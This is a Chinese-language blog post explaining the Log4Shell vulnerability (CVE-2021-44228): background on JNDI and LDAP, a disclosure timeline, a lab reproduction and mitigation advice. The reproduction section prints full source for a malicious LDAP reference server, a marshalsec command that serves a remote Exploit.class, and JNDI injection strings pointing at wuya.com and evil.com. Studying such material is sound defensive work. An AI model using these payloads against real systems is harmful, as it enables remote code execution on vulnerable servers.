【log4j】

Log4j 介绍与漏洞影响

Log4j 的定义

Log4j 是 "Log for Java" 的缩写,是 Apache 推出的开源日志记录组件,在 Java 开发领域应用非常广泛,主要用于记录程序运行过程中的日志信息(如调试、错误、警告等)。

Log4j 的基本使用方法

通常在 Java 项目中通过以下步骤使用:

步骤 1:在项目的pom.xml文件中引入 Log4j 的依赖(适用于 Maven 项目);

步骤 2:在代码中获取logger实例;

步骤 3:通过logger.info()logger.debug()logger.error()等方法记录不同级别的日志。

Log4j RCE 漏洞(典型如 CVE-2021-44228)的核心事件时间线,记录了漏洞从披露到修复的关键节点:

  1. 漏洞报告:11 月 24 日,阿里云安全团队率先向 Apache 报告了 Log4j 的 RCE 漏洞(远程代码执行漏洞)。
  2. 在野攻击出现:12 月 4 日,该漏洞开始被攻击者实际利用(即 "在野攻击"),安全风险从理论转为实际威胁。
  3. 漏洞细节公开:12 月 10 日凌晨,漏洞的技术细节被公开,导致攻击门槛大幅降低,攻击事件激增。
  4. 漏洞提交通道关闭:各安全响应中心(SRC)陆续关闭该漏洞的提交通道(因漏洞已大规模扩散,重复提交无额外价值)。
  5. 安全厂商响应:各安全厂商发布漏洞通报,并提供临时缓解方案,帮助用户降低风险。
  6. 官方修复版本发布:Apache 持续更新 Log4j 版本(如 rc1、rc2、2.15、2.16、2.17 等),逐步修复漏洞及衍生的安全问题

什么是 LDAP?

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和维护分布式目录信息服务的协议。

什么是 JNDI?

Java Naming and Directory Interface--Java命名和目录接口(命名服务接口)

命名服务(NaminService):立置、服务、信息、资源、对象用于根据名字找到等KV

基本操作:

1、发布服务:(名字和资源的映射):bind()

2、用名字查找资源:lookup()

JNDI可以访问的服务:LDAP目录服务、RMI远程方法调用、DNS、XNam 、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS。JNDI和LDAP的关系:${jndi:ldap://wuya.com:5678/test}。通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据。

什么是 JNDI 注入?

Naming Reference---JNDI命名引用:

  1. 在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类,比如远程HTTP服务的一个.class文件。

  2. 如果JNDI客户端,在LDAP服务中找不到对应的资源(test),就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。例如:test不存在,下载Exploit.class。

  3. 如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

Log4j RCE 漏洞复现

1.版本限制:

2.准备Exploit文件:javac Exploit.java命令输出Exploit.class文件通过xftp传到虚拟机上

3.运行LDAP服务器,开启监听端口

java 复制代码
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

如果是远程服务器,则启动marshalsec,该目录下cmd执行以下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.142.66:80/#Exploit 7365

运行log4j弹出计算机意味着恶意代码被执行,漏洞复现成功

复制代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
        // 先启动LDAP服务器
       // logger.error("${jndi:ldap://127.0.0.1:7912/test}");

        logger.error("${java:runtime} - ${java:vm} - ${java:os}");
    }
}
换成下面一行字符串,则能打印出虚拟机版本,系统版本

Log4j RCE 漏洞原理分析

日志记录时,字符串解析变成了代码执行

复制代码
// 正常的日志记录
logger.info("用户登录: " + username);

// 攻击者输入的 username 是:
username = "${jndi:ldap://evil.com/Exploit}"

// 实际日志记录变成:
logger.info("用户登录: ${jndi:ldap://evil.com/Exploit}");

// Log4j 的“特性”:自动解析 ${} 中的表达式
// 结果:执行了 JNDI 查找,加载了远程恶意类

影响范围和排查

临时缓解措施(如果无法立即升级)

  1. 设置系统属性 / 环境变量

    在启动JVM时添加参数:-Dlog4j2.formatMsgNoLookups=true

  2. 或者在系统环境变量中设置:LOG4J_FORMAT_MSG_NO_LOOKUPS=true

  3. 网络层防护

    使用 WAF(Web应用防火墙) 拦截包含 ${jndi:} 的恶意请求。在出口防火墙限制服务器外连未知地址(因为攻击会尝试从外网下载恶意类)。

彻底修复方案

  1. 升级 Log4j 到安全版本

    Log4j 2.x :升级到 2.17.1 或更高版本 (最新推荐 2.23.x+)。注意:2.17.1 本身也曾有漏洞(CVE-2021-44832),建议使用更高版本如 2.23.1。2.17.1 修复了CVE-2021-44228、CVE-2021-45046等。Log4j 1.x:版本已停止维护,建议升级到 2.x 或替换日志框架。

  2. 如果无法升级,替换日志框架

    例如使用 LogbackSLF4J 等替代 Log4j。

相关推荐
小马哥编程4 小时前
单元测试中,开发模拟器(Simulator)、测试驱动器(Test driver)、桩(Stub),
单元测试·log4j
你这个代码我看不懂2 天前
SpringBoot单元测试Mock和Spy
spring boot·单元测试·log4j
tqs_123452 天前
Spring 框架中的 IoC (控制反转) 和 AOP (面向切面编程) 及其应用
java·开发语言·log4j
sunnyday04264 天前
Spring Boot 日志配置详解:log4j2.xml 的完整配置指南
xml·spring boot·log4j
小涛不学习7 天前
深入浅出Spring核心:IOC与AOP的本质与实现原理
log4j
w***765511 天前
SpringBoot Test详解
spring boot·后端·log4j
Knight_AL12 天前
Maven 生命周期详解(validate → deploy)
java·log4j·maven
岁岁种桃花儿12 天前
Spring Boot核心插件全解析(官方+第三方,附使用场景)
log4j·springboot·插件
l***217813 天前
Spring Boot 整合 log4j2 日志配置教程
spring boot·单元测试·log4j